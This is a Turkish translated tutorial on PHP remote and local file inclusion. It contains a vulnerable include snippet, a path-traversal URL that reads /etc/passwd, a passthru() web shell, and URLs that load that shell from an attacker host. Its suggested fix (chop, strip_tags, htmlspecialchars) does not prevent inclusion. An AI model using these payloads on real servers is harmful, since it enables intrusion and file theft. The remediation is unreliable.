Remote / Local File Inclusion Exploits
Remote ve local file inclusionlar birçok exploitte oldugu gibi sadece kodlama sonundaki bir problemdir. Tabi ki olmasi için ikinci bir kisi alir. Simdi bu yazi umarim ki sizlere web sitenizi ve de en önemlisi kodlarinizi bir file iclusion exploit’ten koruma konusunda bir fikir verecektir. Ben kod örneklerini PHP formatinda verecegim.
RFI/LFI exploitleri mümkün kilan bazi kodlara bir bakalim.
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
Simdi besbelli bu kullanilmamali. $page girisi tam olarak arindirilmamis. $page input direkt olarak kahrolasi web sayfasina yönlendirilmis ki bu büyük bir "HAYIR". Daima browserdan geçen her input (giris) arindirilmali. Kullanici web sayfasini ziyaret ettiginde "files.php"yi ziyaret etmek için "File"a tikladiginda söyle bir sey görünecek.
http://localhost/index.php?page=files.php
Simdi hiç kimse $page degiskeninde inputu temizlemediyse onu istedigimiz seye isaret ettirebiliriz. Eger bir unix / linux serverda host edilmisse passwordu gölgeli ya da temizlenmemis degisken inputu için konfigürasyon dosyalari olarak görüntüleyebiliriz.
Serverda dosyalari görüntülemek bir "Local File Inclusion" veya LFI exploit olur.Bu bir RFI exploitinden daha kötü degildir.
http://localhost/index.php?page=../../../../../../etc/passwd
kodu muhtemelen /etc/passwd ’e döner. Simdi bu exploitin RFI yönüne bir bakalim. Daha önce aldigimiz bazi kodlari tekrar alalim.
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
Simdi söyle bir sey yazdigimizi düsünelim...
http://localhost/index.php?page=http://google.com/
Büyük ihtimalle $page degiskeninin sayfaya orjinal olarak konuldugu yerde, google.com ana sayfasini elde ederiz. Burasi kodcunun caninin yakilabilecegi yerdir. Hepimiz c99 (shell) un neler yapabilecegini biliyoruz ve eger kodcular dikkatliyse shell’in kullanicilara hassas dosyalar ve rehber araciligiyla uygun zamanlarinda surf yapmalarina izin vererek sayfaya dahil edilmis olabilirler. Web sayfasinda olabilen daha basit bir seye bakalim. RFI exploitinin daha çabuk ve kirli kullanimi sizin avantajinizadir. Simdi "test.php" isimli bir dosya olusturalim ve asagidaki kodu içine koyup kaydedelim.
<?php
passthru($_GET[cmd]);
?>
Simdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajiniza kullanabileceginiz bir seydir. PHP içindeki passthru() komutu çok seytanca bir seydir ve birçok host bunu "güvenlik nedenlerinden dolayi hizmet disidir" olarak alirlar. test.php içindeki bu kodla web sayfasina file inclusion exploiti de içeren söyle bir istek gönderebiliriz.
http://localhost/index.php?page=http://someevilhost.com/test.php
Kod bir $_GET istegi yaptigi zaman passthru() komutuna geçilecek bir komut saglamaliyiz. Söyle birsey yapabiliriz.
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd
Bu unix bir makine de cat komutunu kullanarak /etc/passwd dosyasini ortaya çikaracaktir. Simdi RFI exploiti nasil exploitlememiz gerektigini biliyoruz, simdi sunu bilmeliyiz ki onu nasil tutmali (içermeli) ve herhangi birisi için komutu yürütmeyi nasil imkansiz yapmali ve serverinizdaki remote (uzak) sayfalari nasil içermeli. Öncelikle passthru() komutunu hizmet disi birakabiliriz. Fakat sizin sitenizdeki herhangi bir sey onu tekrar kullanabilir (umalim ki olmasin). Fakat bu sizin yapabileceginiz yegane seydir. Ben, daha önce söyledigim gibi inputlari temizlemeyi öneririm. Simdi sadece degiskenleri sayfaya direkt olarak geçirmek yerine, PHP`nin önerdigi birkaç yapiyi fonksiyonlar içinde kullanabiliriz. Baslangiçta perl’den gelen chop(), bir diziden whitespaces(beyaz alanlar)’i kaldiran PHP’ye adapte edildi. Bunu söyle kullanabiliriz.
<a href=index.php?page=file1.php>Files</a>
<?php
$page = chop($_GET[page]);
include($page);
?>
string(dizi)’yi temizleyebilecek birçok fonksiyon vardir. htmlspecialchars(),
htmlentities(), stripslashes() ve daha fazlasi. Karisikligi gidermek açisindan ben kendi fonksiyonlarimi kullanmayi tercih ederim. Her seyi sizin için temizleyebilecek bir fonksiyon PHP içinde yapabiliriz, Burada sizin için bu ders hakkinda kolay ve hizli bir seyler hazirladim.
<?php
function cleanAll($input) {
$input = strip_tags($input);
$input = htmlspecialchars($input);
return($input);
}
?>
Simdi umarim bu fonksiyon içinde neler olup bitiyor görebilirsiniz ve böylece kendinizinkini ekleyebilirsiniz. Ben str_replace() fonksiyonunu kullanmanizi öneririm ve bunlari temizlemek için bir sürü baska fonksiyonlar vardir. Düsünceli olun ve RFI & LFI exploit çilginligini durdurun!
- - -
Yazan: sunjester
Çeviri ve Derleme: NOXHCO / DJR